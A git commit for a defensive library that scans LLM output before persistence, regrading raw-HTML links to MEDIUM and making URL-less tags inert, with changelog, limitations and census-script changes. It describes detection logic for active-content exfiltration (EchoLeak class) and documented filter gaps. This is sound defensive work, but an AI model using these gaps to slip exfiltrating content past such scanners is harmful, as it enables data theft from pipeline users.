feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert
Two changes that had to ship together, because they co-occur. `active:raw-html-link` (MEDIUM) splits the click-required carriers out of `active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as `<a href="url">` — an asymmetry produced by syntax, not by affordance, on a carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH too: a name outside the active set has unknown rendering, and grading `<Card src=...>` as a link would be reasoning rather than measurement. The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>` without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the name branch. It tests for the URL attribute's PRESENCE, not for a readable value, so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here. WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains is the `<a href=...>` the split grades down, so each alone leaves the document blocked by the other's residue. `active_tag_class` is now the classification point and `is_active_tag` wraps it. The census patches the former: a boolean could only express a narrowing, never a regrade, so every carrier candidate would have measured equal to PRODUCTION — silently, and in the direction that reads as "no change helps". TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED: - The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>` and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On that preset it is the only direction the split can move anything. The census now reports a TIGHTENS column on both trust tiers against the previously shipped row — "frees N" without "tightens M" is a one-sided number. - `count` drops on documents containing `</a>`, a published field moving under a meaning that did not change. MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census also reproduces 133/3/13/108/25 exactly, so it is calibrated against every published historical number. The two wiki corpora are NOT yet re-measured; the tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than carrying probe numbers as fact. 791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
parent
0df7e87c2f
commit
fcfaee4589
18 changed files with 544 additions and 99 deletions
52
CHANGELOG.md
52
CHANGELOG.md
|
|
@ -10,6 +10,58 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||
Nothing yet.
|
||||
|
||||
|
||||
## [0.7.0] — 2026-08-12
|
||||
|
||||
### Added — `active:raw-html-link`, a click-required carrier class for raw HTML
|
||||
|
||||
Raw HTML graded on activity alone: every active tag was HIGH. So the *same URL*
|
||||
was LOW as `[t](https://example.com/guide)` and HIGH as
|
||||
`<a href="https://example.com/guide">` — an asymmetry produced by syntax, not by
|
||||
affordance. Following an anchor needs a human, exactly like the markdown inline
|
||||
link that has been MEDIUM since 0.3.1.
|
||||
|
||||
`<a>` and `<area>` now report as **`active:raw-html-link` at MEDIUM**. Everything
|
||||
a renderer fetches or executes unattended keeps `active:raw-html` at HIGH, and the
|
||||
event-handler test runs *first*, so `<a onclick=...>` is graded as the
|
||||
execute-class carrier it is rather than downgraded with the anchors.
|
||||
|
||||
The URL-attribute branch deliberately stays on the HIGH side: a name outside the
|
||||
active set has unknown rendering, and `href` is not the only URL attribute it may
|
||||
carry. Grading `<Card src="...">` as a link would be reasoning, not measurement.
|
||||
|
||||
**This is a new label, and labels are a contract surface consumers pin against.**
|
||||
A document that previously produced one `active:raw-html` finding may now produce
|
||||
two findings, one per carrier class.
|
||||
|
||||
### Changed — a tag whose whole affordance is a URL it does not carry is inert
|
||||
|
||||
`</a>`, `<Frame>`, `<video />` and `<img alt="...">` without `src` were active by
|
||||
*name* while naming no target at all. This is `<base />`'s argument from 0.6.0 —
|
||||
"attribute-less, therefore no affordance in any renderer" — applied to the rest of
|
||||
the name branch. The test is for the URL attribute's **presence**, not for a
|
||||
readable value: a value the parser cannot resolve keeps the tag active, mirroring
|
||||
the fail-secure gap `_url_attr_is_external` already leaves open.
|
||||
|
||||
Every other member of the active name set does something a URL cannot describe —
|
||||
`<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
|
||||
active with no attributes at all.
|
||||
|
||||
### Changed — `active_tag_class` is the classification point; `is_active_tag` wraps it
|
||||
|
||||
`docs/rawhtml-census.py` measures candidates by patching this symbol, and a
|
||||
boolean could only express a narrowing, never a regrade. Left as a boolean, every
|
||||
carrier candidate would have measured equal to PRODUCTION — silently, and in the
|
||||
direction that reads as "no change helps".
|
||||
|
||||
### Known behaviour change
|
||||
|
||||
**`count` drops on documents containing `</a>`.** Through 0.6.1 an end tag was
|
||||
active by name, so `count` ran roughly 1.6× the opening-tag total and a start/end
|
||||
pair counted 2. It is now the opening-tag total. The field's meaning did not
|
||||
change and the finding count is unaffected — the class still collapses to one
|
||||
finding per class per document.
|
||||
|
||||
|
||||
## [0.6.1] — 2026-08-11
|
||||
|
||||
### Fixed — the zero-width check tested identity, so emoji-composed documents were hard-blocked
|
||||
|
|
|
|||
|
|
@ -11,7 +11,7 @@ framework-agnostisk kode.
|
|||
Referanse-implementasjon: `claude-code-llm-wiki` Stage B (`tools/wiki_ingest/`).
|
||||
Lexikon-seed: `injection-patterns.mjs` fra `llm-security`-pluginen.
|
||||
|
||||
Repoet er på **v0.6 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler +
|
||||
Repoet er på **v0.7 (alpha)**: stdlib-kjernen er bygget og testet (15 moduler +
|
||||
topp-nivå wiring, showcase + korpus), inkl. OKF-adapter og aktivt-innhold-
|
||||
detektor (EchoLeak-klassen) i output-gaten. Mode-b `import_bundle` skanner
|
||||
reserverte strukturfiler (`index.md`/`log.md`) i mottatte bundles i stedet for å
|
||||
|
|
@ -19,9 +19,14 @@ path-avvise dem; upload-front-end beholder shadow-reject (`allow_reserved=False`
|
|||
Output-gatens decode-and-rescan mater dekodet base64-klartekst gjennom BÅDE lexicon
|
||||
og secret-egress (LLM02), så en base64-innpakket credential fanges som
|
||||
`decoded:egress:*` i stedet for å forsvinne; hex-innpakket er en dokumentert
|
||||
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever nå et
|
||||
restgap (entropy eksponerer kun base64-klartekst). `active:raw-html` krever et
|
||||
EKSTERNT mål på URL-attributt-grenen, og `<base>` er ute av det aktive navnesettet;
|
||||
scanner og mutator har hver sin predikat (`is_active_tag` / `is_defangable_tag`).
|
||||
Rå HTML graderes nå også på BÆRER: `<a>`/`<area>` er klikk-krevende og rapporteres
|
||||
som `active:raw-html-link` (MEDIUM), og en tagg hvis hele affordans ER en URL den
|
||||
ikke bærer (`</a>`, `<Frame>`, `<video />`) er inert. Klassifisering skjer i
|
||||
`active_tag_class`; `is_active_tag` er en tynn wrapper, og census patcher den
|
||||
FØRSTE (en boolsk patch kan ikke uttrykke en regradering).
|
||||
ZWJ (U+200D) dømmes på KONTEKST, ikke identitet — unntas kun mellom to emoji, på
|
||||
begge flater (`sanitize` eier predikatet, `output` importerer det).
|
||||
Start med `docs/BRIEF.md` for design, `README.md` for bruk, `docs/PLAN.md` for
|
||||
|
|
|
|||
10
README.md
10
README.md
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -33,7 +33,7 @@ at write time, never assumed from the format. Any pipeline ingesting external da
|
|||
into an agent-read store has this shape; an OKF wiki is its canonical form — which
|
||||
is why the guard ships a first-class OKF adapter (below).
|
||||
|
||||
**Status:** `v0.6`, alpha. The stdlib-only core — its detector, contract, and
|
||||
**Status:** `v0.7`, alpha. The stdlib-only core — its detector, contract, and
|
||||
OKF-adapter modules plus the top-level wiring — is built and tested, exercised by
|
||||
an end-to-end showcase and adversarial + false-positive corpora. The public API
|
||||
may still change. There are real limitations, stated plainly below; read them.
|
||||
|
|
@ -43,7 +43,7 @@ may still change. There are real limitations, stated plainly below; read them.
|
|||
Not on PyPI. The guard is distributed from its Forgejo origin — pin a release tag:
|
||||
|
||||
```bash
|
||||
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.6.1"
|
||||
pip install "llm-ingestion-guard @ git+https://git.fromaitochitta.com/open/llm-ingestion-pipeline-security.git@v0.7.0"
|
||||
```
|
||||
|
||||
The `open/` mirror is anonymously readable, so CI needs no deploy key, token, or
|
||||
|
|
@ -164,7 +164,7 @@ driven by a **live payload** in the coverage matrix — run it to watch all 134
|
|||
in your own environment:
|
||||
|
||||
```bash
|
||||
python -m llm_ingestion_guard.coverage # 128/128 classes; exit 0 = all as documented
|
||||
python -m llm_ingestion_guard.coverage # 129/129 classes; exit 0 = all as documented
|
||||
```
|
||||
|
||||
| Anchor | Attack classes it stops (representative) |
|
||||
|
|
@ -246,7 +246,7 @@ a green scan means safe content. The highest-impact items:
|
|||
two of the three corpora are living, so the cells are not rewritten in place.
|
||||
Method and before/after: [`docs/rawhtml-census.py`](docs/rawhtml-census.py).
|
||||
|
||||
**Full list — 34 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
**Full list — 35 items, each with the mechanism, plus the out-of-scope boundary:**
|
||||
[`docs/LIMITATIONS.md`](docs/LIMITATIONS.md). Several carry field measurements from
|
||||
consumer corpora, including the false positives the URL-shape rule actually produces.
|
||||
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@ downstream corpus. Reports are welcome.
|
|||
|
||||
## Supported versions
|
||||
|
||||
The project is pre-1.0 (`0.6.x`, alpha). Only the latest published version receives
|
||||
The project is pre-1.0 (`0.7.x`, alpha). Only the latest published version receives
|
||||
fixes; there are no back-ported security branches yet. Pin a version and watch the
|
||||
`CHANGELOG.md` `### Security` entries.
|
||||
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@
|
|||
especially one converging on Google's Open Knowledge Format (OKF v0.1) — and needs
|
||||
to decide **when** and **where** to add a write-time ingestion guard.
|
||||
|
||||
**Status of the guard:** `v0.6.1` (alpha). Stdlib-only core, framework-agnostic.
|
||||
**Status of the guard:** `v0.7.0` (alpha). Stdlib-only core, framework-agnostic.
|
||||
Public API may still change. Read the known-limitations section before you rely
|
||||
on it.
|
||||
|
||||
|
|
@ -140,9 +140,9 @@ live payload:
|
|||
python -m llm_ingestion_guard.coverage # exit 0 = all as documented
|
||||
```
|
||||
|
||||
As of `v0.6.1`: **128 / 128 defended classes demonstrated (recall 100%)** and **6 /
|
||||
As of `v0.7.0`: **129 / 129 defended classes demonstrated (recall 100%)** and **6 /
|
||||
6 documented gaps still hold** (a *closed* gap fails the test, forcing a doc
|
||||
update). The matrix is the single source of truth for the test suite (**736
|
||||
update). The matrix is the single source of truth for the test suite (**791
|
||||
passing**), which also asserts total recall, that every lexicon pattern has a
|
||||
case (so the matrix cannot fall behind the lexicon), the full LLM02 secret-egress
|
||||
set, and the container-layer front-end (CSV formula-injection, zip-slip/bomb,
|
||||
|
|
|
|||
|
|
@ -3,7 +3,7 @@
|
|||
**A reusable, minimal, dependency-light defensive layer for LLM *ingestion*
|
||||
pipelines — the write-time siblings of query-time chatbot guardrails.**
|
||||
|
||||
Status: implemented — v0.6 (alpha). This document defines what the repo contains
|
||||
Status: implemented — v0.7 (alpha). This document defines what the repo contains
|
||||
and why; the stdlib-only core is built and tested (see `README.md` for usage and
|
||||
`docs/PLAN.md` for the build order).
|
||||
|
||||
|
|
|
|||
|
|
@ -264,11 +264,28 @@ items; this is the full list, each with the mechanism.
|
|||
no test discriminated the two halves. They are now `is_active_tag` and
|
||||
`is_defangable_tag`; the mutator kept the broader behaviour deliberately, pinned by
|
||||
`tests/test_neutralize.py::test_mutator_still_defangs_what_the_scanner_now_lets_pass`.
|
||||
- **Raw-HTML findings count end tags.** `</a>` is active by name on its own, so a
|
||||
corpus census that counts only opening tags understates what this detector reports
|
||||
by roughly the ratio of closing to opening active tags (measured at 1.6× on one
|
||||
corpus). Severity and finding count are unaffected — the class collapses to one
|
||||
finding — but the `count` field is not a document count.
|
||||
- **The carrier split TIGHTENS the trusted tier when both carrier classes are present.**
|
||||
0.7.0 is sold as a loosening of the upload door, and on that door it is one. But
|
||||
splitting one class into two means a document carrying both an `<img src>` and an
|
||||
`<a href>` now emits *two* findings at MEDIUM+ where it emitted one, which trips
|
||||
the compound overlay (`>=2 findings at MEDIUM+ -> escalated one tier`). Such a
|
||||
document was WARN through 0.6.1 and is `quarantine_review` from 0.7.0 under
|
||||
`PRESET_TRUSTED_SOURCE`. On the trusted preset nothing was hard-failed to begin
|
||||
with, so this is the *only* direction the split can move it. Pinned by
|
||||
`tests/test_wiring.py::test_split_tightens_the_trusted_tier_when_both_carriers_are_present`,
|
||||
and `docs/rawhtml-census.py` now reports a `TIGHTENS` column against the
|
||||
previously-shipped row on both trust tiers — "frees N" without "tightens M" is a
|
||||
one-sided number. **Measured so far: 0 documents tightened on reference-corpus
|
||||
(389). The two wiki corpora are NOT yet re-measured; until they are, the size of
|
||||
this cost is unknown, not zero.**
|
||||
- **Raw-HTML findings no longer count end tags, and that moved a published field.**
|
||||
Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly 1.6×
|
||||
the opening-tag total (measured on one corpus) and a start/end pair counted 2.
|
||||
0.7.0's no-URL narrowing makes an end tag inert — it names no target — so `count`
|
||||
is now the opening-tag total. A consumer reading `count` will see it *drop* for
|
||||
every document carrying `</a>`, on a field whose meaning did not change. The
|
||||
finding count is unaffected: the class still collapses to one finding per class
|
||||
per document, and `count` was never a document count.
|
||||
- **Measured, document by document: a large minority of *benign* documents do not
|
||||
persist unattended at the upload door.** The bullets above bound single rules on
|
||||
single URLs. This one bounds the thing a consumer actually feels — how often an
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
"""raw-HTML census — which branch of `is_active_tag` fires, and what narrowing it costs.
|
||||
"""raw-HTML census — which branch of `active_tag_class` fires, and what a change costs.
|
||||
|
||||
`docs/fp-sweep.py` answers *how often* the upload door costs a human. This answers
|
||||
*why*, for the one detector that drives most of it, and *what a proposed narrowing
|
||||
|
|
@ -22,11 +22,17 @@ TWO METHOD TRAPS IT EXISTS TO AVOID:
|
|||
effect with corpus drift. Every candidate here runs against the same corpus state
|
||||
in one process, and `base` is re-measured rather than quoted from the doc.
|
||||
|
||||
The candidates are applied by replacing `active_content.is_active_tag` in-process,
|
||||
which mirrors a real edit to the *scanner*. Since 0.6.0 that is the whole story:
|
||||
`neutralize` calls its own `is_defangable_tag`, so patching this symbol cannot
|
||||
move the mutator. Before 0.6.0 the two shared one symbol and this caveat read the
|
||||
other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
|
||||
The candidates are applied by replacing `active_content.active_tag_class`
|
||||
in-process, which mirrors a real edit to the *scanner*. Since 0.6.0 that is the
|
||||
whole story: `neutralize` calls its own `is_defangable_tag`, so patching this
|
||||
symbol cannot move the mutator. Before 0.6.0 the two shared one symbol and this
|
||||
caveat read the other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
|
||||
|
||||
The patch point was `is_active_tag` through 0.6.1, when a candidate could only
|
||||
answer yes/no. 0.7.0 grades raw HTML on carrier as well, so a candidate returns a
|
||||
CLASS and `is_active_tag` became a thin wrapper. A boolean patch point would have
|
||||
left every regrade candidate equal to PRODUCTION — silently, and in the direction
|
||||
that reads as "no change helps".
|
||||
|
||||
The `PRODUCTION` row is the only one that is not a hypothetical: it leaves the
|
||||
shipped predicate in place. A shipped narrowing must equal its candidate row, and
|
||||
|
|
@ -47,11 +53,22 @@ from pathlib import Path
|
|||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src"))
|
||||
|
||||
from llm_ingestion_guard import ( # noqa: E402
|
||||
PRESET_USER_UPLOAD, Disposition, screen_output,
|
||||
PRESET_TRUSTED_SOURCE, PRESET_USER_UPLOAD, Disposition, guard, scan_output,
|
||||
)
|
||||
from llm_ingestion_guard import active_content as ac # noqa: E402
|
||||
|
||||
BENIGN = Disposition.WARN
|
||||
BLOCKED = Disposition.FAIL_SECURE
|
||||
# Both trust tiers, because a change can move them in OPPOSITE directions: the
|
||||
# carrier split loosens the upload door (HIGH -> MEDIUM is fail_secure ->
|
||||
# quarantine_review) while tightening the trusted one (one finding becomes two,
|
||||
# and >=2 findings at MEDIUM+ trip the compound overlay). A single-preset census
|
||||
# would have reported only the half that flattered the change.
|
||||
PRESETS = {"upload": PRESET_USER_UPLOAD, "trusted": PRESET_TRUSTED_SOURCE}
|
||||
# Disposition severity order, for "did this document get strictly worse?".
|
||||
_TIER = {Disposition.WARN: 0, Disposition.QUARANTINE_REVIEW: 1, Disposition.FAIL_SECURE: 2}
|
||||
# The row a release is judged against: what consumers are running today.
|
||||
_SHIPPED_BEFORE_ROW = "A + base-url (0.6.0)"
|
||||
|
||||
def has_external_url_attr(attrs: str) -> bool:
|
||||
"""True if any URL-bearing attribute points at an attacker-reachable target.
|
||||
|
|
@ -68,20 +85,41 @@ def has_external_url_attr(attrs: str) -> bool:
|
|||
return ac._url_attr_is_external(attrs)
|
||||
|
||||
|
||||
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False):
|
||||
"""Build an `is_active_tag` replacement: names minus ``drop``, URL branch gated."""
|
||||
def _variant(*, drop: frozenset[str] = frozenset(), external_only: bool = False,
|
||||
carrier_split: bool = False, no_url: bool = False):
|
||||
"""Build an `active_tag_class` replacement.
|
||||
|
||||
Candidates return the tag's CLASS (``"raw-html"`` / ``"raw-html-link"``) or
|
||||
``None``, because since 0.7.0 the raw-HTML pass grades on carrier as well as
|
||||
activity, and a boolean could not express a regrade. ``drop`` removes names
|
||||
from the active set, ``external_only`` gates the URL branch, ``carrier_split``
|
||||
moves the click-required carriers to the link class, and ``no_url`` makes a
|
||||
URL-affordance tag carrying no URL attribute inert.
|
||||
"""
|
||||
keep = frozenset(ac._ACTIVE_TAGS - drop)
|
||||
|
||||
def is_active_tag(name: str, attrs: str) -> bool:
|
||||
if name.lower() in keep or ac._EVENT_ATTR_RE.search(attrs):
|
||||
return True
|
||||
if not ac._URL_ATTR_RE.search(attrs):
|
||||
return False
|
||||
return has_external_url_attr(attrs) if external_only else True
|
||||
def active_tag_class(name: str, attrs: str):
|
||||
lowered = name.lower()
|
||||
if ac._EVENT_ATTR_RE.search(attrs):
|
||||
return "raw-html"
|
||||
has_url_attr = bool(ac._URL_ATTR_RE.search(attrs))
|
||||
if lowered in keep:
|
||||
if no_url and lowered in ac._URL_AFFORDANCE_TAGS and not has_url_attr:
|
||||
return None
|
||||
if carrier_split and lowered in ac._LINK_TAGS:
|
||||
return "raw-html-link"
|
||||
return "raw-html"
|
||||
if not has_url_attr:
|
||||
return None
|
||||
if external_only and not has_external_url_attr(attrs):
|
||||
return None
|
||||
return "raw-html"
|
||||
|
||||
return is_active_tag
|
||||
return active_tag_class
|
||||
|
||||
|
||||
_INERT = None
|
||||
|
||||
CANDIDATES = [
|
||||
("pre-0.6.0 (no narrowing)", _variant()),
|
||||
# The URL-attribute branch requires an EXTERNAL target — the rule the markdown
|
||||
|
|
@ -91,14 +129,28 @@ CANDIDATES = [
|
|||
# which the URL-attribute branch still catches; APIM policy XML's `<base />` is
|
||||
# attribute-less and has no affordance in any renderer.
|
||||
("base-url: <base> needs a URL", _variant(drop=frozenset({"base"}))),
|
||||
("A + base-url (both)",
|
||||
("A + base-url (0.6.0)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True)),
|
||||
# Not a hypothetical: the shipped predicate, unpatched. `A + base-url` is what
|
||||
# 0.6.0 shipped, so these two rows must agree — a mismatch means the code and
|
||||
# this script have drifted apart and every number below is suspect.
|
||||
# 0.7.0's pair. C1 REGRADES (a click-required carrier is MEDIUM, not HIGH);
|
||||
# D NARROWS (a tag whose whole affordance is a URL it does not carry is
|
||||
# inert). They are listed alone as well as together because they co-occur
|
||||
# hard: D strips a document's `</a>` and `<Frame>`, and what is left is the
|
||||
# `<a href=...>` C1 grades down, so each alone leaves the document blocked by
|
||||
# the other's residue. Reading either single row as "this change is cheap" is
|
||||
# the trap this script exists to prevent.
|
||||
("C1: carrier split (alone)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True, carrier_split=True)),
|
||||
("D: no-URL narrowing (alone)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True, no_url=True)),
|
||||
("C1 + D (0.7.0)",
|
||||
_variant(drop=frozenset({"base"}), external_only=True,
|
||||
carrier_split=True, no_url=True)),
|
||||
# Not a hypothetical: the shipped predicate, unpatched. `C1 + D` is what 0.7.0
|
||||
# ships, so these two rows must agree — a mismatch means the code and this
|
||||
# script have drifted apart and every number below is suspect.
|
||||
("PRODUCTION (as shipped)", None),
|
||||
# The CEILING: no narrowing can free more than switching the detector off.
|
||||
("NONE (ceiling)", lambda name, attrs: False),
|
||||
("NONE (ceiling)", lambda name, attrs: _INERT),
|
||||
]
|
||||
|
||||
|
||||
|
|
@ -162,7 +214,7 @@ def main() -> None:
|
|||
print(__doc__)
|
||||
raise SystemExit(2)
|
||||
|
||||
original = ac.is_active_tag
|
||||
original = ac.active_tag_class
|
||||
try:
|
||||
for spec in specs:
|
||||
if "=" not in spec:
|
||||
|
|
@ -177,27 +229,78 @@ def main() -> None:
|
|||
n = len(texts)
|
||||
print(f"\n## {label} — {n} documents", flush=True)
|
||||
|
||||
baseline = None
|
||||
base_nonwarn = base_block = None
|
||||
shipped_before: dict[str, list] = {}
|
||||
for name, fn in CANDIDATES:
|
||||
ac.is_active_tag = original if fn is None else fn
|
||||
non_warn = sum(
|
||||
1 for t in texts
|
||||
if screen_output(t, PRESET_USER_UPLOAD).disposition is not BENIGN
|
||||
)
|
||||
if baseline is None:
|
||||
baseline = non_warn
|
||||
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})", flush=True)
|
||||
else:
|
||||
print(f" {name:>28}: {non_warn:4d} ({non_warn / n:5.1%})"
|
||||
f" frees {baseline - non_warn}", flush=True)
|
||||
ac.is_active_tag = original
|
||||
ac.active_tag_class = original if fn is None else fn
|
||||
# `screen_output(t, policy)` IS `guard(lambda: scan_output(t),
|
||||
# policy)`. Decomposed by exactly one step here so the scan — the
|
||||
# expensive part, and identical across trust tiers — runs once per
|
||||
# document instead of once per tier. Disposition still goes through
|
||||
# the shipped `guard`, so the fail-closed wrapper is not skipped.
|
||||
per_preset = {tier: [] for tier in PRESETS}
|
||||
for t in texts:
|
||||
try:
|
||||
report = scan_output(t)
|
||||
except Exception: # noqa: BLE001 — hand it back to `guard`
|
||||
report = None
|
||||
for tier, policy in PRESETS.items():
|
||||
scan_fn = (lambda: scan_output(t)) if report is None \
|
||||
else (lambda report=report: report)
|
||||
per_preset[tier].append(guard(scan_fn, policy).disposition)
|
||||
dispositions = per_preset["upload"]
|
||||
non_warn = sum(1 for d in dispositions if d is not BENIGN)
|
||||
# BOTH metrics, because they answer different questions and a
|
||||
# REGRADE is invisible to the first one. A narrowing removes the
|
||||
# finding, so a document can reach WARN; a carrier split only
|
||||
# lowers the severity, so the document stays non-WARN and merely
|
||||
# stops being hard-failed. Reporting only `non_warn` would have
|
||||
# printed "frees 0" for every carrier candidate and read as
|
||||
# "the split buys nothing" when it converts a hard block into a
|
||||
# human review — the difference a consumer actually feels.
|
||||
blocked = sum(1 for d in dispositions if d is BLOCKED)
|
||||
# Tightening is measured against the row consumers are RUNNING,
|
||||
# not against the pre-0.6.0 baseline the `frees` column subtracts
|
||||
# from. "Did this release make anything worse for someone on the
|
||||
# current version" is a different question from "how much of the
|
||||
# original over-reach is left", and only the first one belongs in
|
||||
# a release note.
|
||||
if name == _SHIPPED_BEFORE_ROW:
|
||||
shipped_before = per_preset
|
||||
if base_nonwarn is None:
|
||||
base_nonwarn, base_block = non_warn, blocked
|
||||
print(f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
|
||||
f" fail_secure {blocked:4d}", flush=True)
|
||||
continue
|
||||
# A candidate is not free just because it frees documents. Splitting
|
||||
# one finding into two puts TWO findings at MEDIUM+ in a document
|
||||
# that had one, which trips the compound overlay — so a change sold
|
||||
# as a loosening can TIGHTEN a document one tier, and on the trusted
|
||||
# preset (where nothing was hard-failed to begin with) that is the
|
||||
# only direction it can move. Reporting `unblocks` without `tightens`
|
||||
# is a one-sided number.
|
||||
row = (f" {name:>28}: non-WARN {non_warn:4d} ({non_warn / n:5.1%})"
|
||||
f" fail_secure {blocked:4d}"
|
||||
f" frees {base_nonwarn - non_warn:3d} / unblocks "
|
||||
f"{base_block - blocked:3d}")
|
||||
if shipped_before:
|
||||
tightened = {
|
||||
tier: sum(1 for before, after
|
||||
in zip(shipped_before[tier], per_preset[tier])
|
||||
if _TIER[after] > _TIER[before])
|
||||
for tier in PRESETS
|
||||
}
|
||||
row += (f" TIGHTENS vs 0.6.0: upload {tightened['upload']:3d}"
|
||||
f" trusted {tightened['trusted']:3d}")
|
||||
print(row, flush=True)
|
||||
ac.active_tag_class = original
|
||||
|
||||
names, relative, external = branch_census(texts)
|
||||
print(f" name branch : {dict(names.most_common(8))}")
|
||||
print(f" url-attr relative: {dict(relative.most_common(8))} <- A frees these")
|
||||
print(f" url-attr external: {dict(external.most_common(8))} <- A keeps these")
|
||||
finally:
|
||||
ac.is_active_tag = original
|
||||
ac.active_tag_class = original
|
||||
|
||||
print("\n---")
|
||||
print("Candidates are measured TOGETHER as well as alone: over-reach classes\n"
|
||||
|
|
|
|||
|
|
@ -4,7 +4,7 @@ build-backend = "hatchling.build"
|
|||
|
||||
[project]
|
||||
name = "llm-ingestion-guard"
|
||||
version = "0.6.1"
|
||||
version = "0.7.0"
|
||||
description = "Write-time defensive layer for Python pipelines that persist LLM output: sanitize, fence, tool-less quarantined transform, capability isolation, scan before persist, fail-secure."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10"
|
||||
|
|
|
|||
|
|
@ -63,7 +63,7 @@ from .grounding import (
|
|||
)
|
||||
from . import okf
|
||||
|
||||
__version__ = "0.6.1"
|
||||
__version__ = "0.7.0"
|
||||
|
||||
|
||||
# --- §6 bookends: the two library-side halves around the transform ---------
|
||||
|
|
|
|||
|
|
@ -40,6 +40,38 @@ XML has no affordance in any renderer. Measured together rather than one at a ti
|
|||
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
|
||||
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
|
||||
|
||||
**Raw HTML grades on carrier too, and a tag that names no target is inert**
|
||||
(0.7.0). Two changes that had to ship together, because they co-occur:
|
||||
|
||||
* the *carrier split* — ``<a>``/``<area>`` are click-required, so they report as
|
||||
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
|
||||
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
|
||||
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
|
||||
* the *no-URL narrowing* — a tag whose entire affordance IS the URL it names
|
||||
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
|
||||
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
|
||||
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
|
||||
``<img alt=...>`` without ``src``.
|
||||
|
||||
They had to ship together because they co-occur: the narrowing strips a document's
|
||||
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
|
||||
down, so each change alone leaves the document blocked by the other's residue. The
|
||||
split never lets a document reach WARN — it converts a hard block into a human
|
||||
review, which is the difference a consumer actually feels and the reason the census
|
||||
reports ``fail_secure`` alongside non-WARN.
|
||||
|
||||
**Measured, on reference-corpus (389 documents) at one corpus state:** 54
|
||||
``fail_secure`` under ``PRESET_USER_UPLOAD`` before, 53 after; the pair unblocks 1,
|
||||
and tightens 0 on both trust tiers. That corpus was already emptied of raw-HTML
|
||||
drivers by the 0.6.0 narrowing, so it bounds the change rather than showing its
|
||||
value. **The two wiki corpora, where the volume is, are NOT yet re-measured through
|
||||
the census — see ``docs/LIMITATIONS.md`` for what is and is not measured.**
|
||||
|
||||
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
|
||||
outside the active set has unknown rendering and ``href`` is not the only URL
|
||||
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
|
||||
not measurement.
|
||||
|
||||
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
|
||||
primitive is not "an image" — it is a URL that moves bytes to a host the
|
||||
attacker controls. ```` carries nothing
|
||||
|
|
@ -49,8 +81,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
|
|||
the two axes: a URL that only *names* a remote document is
|
||||
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
|
||||
a query, userinfo, percent-escapes, or an opaque host label / path segment —
|
||||
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
|
||||
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
|
||||
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
|
||||
ordinary form and keep their carrier's severity unconditionally — HIGH for
|
||||
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
|
||||
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
|
||||
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
|
||||
buys little, and it would add a third tier to a class nobody asked to have three.
|
||||
|
||||
The opacity test reuses ``entropy``'s primitives rather than inventing a second
|
||||
heuristic, and it is a *backstop*, not the main line of defence: a literal
|
||||
|
|
@ -200,6 +236,21 @@ _ACTIVE_TAGS = frozenset({
|
|||
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
|
||||
# keeps the full set — see the module docstring.
|
||||
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
|
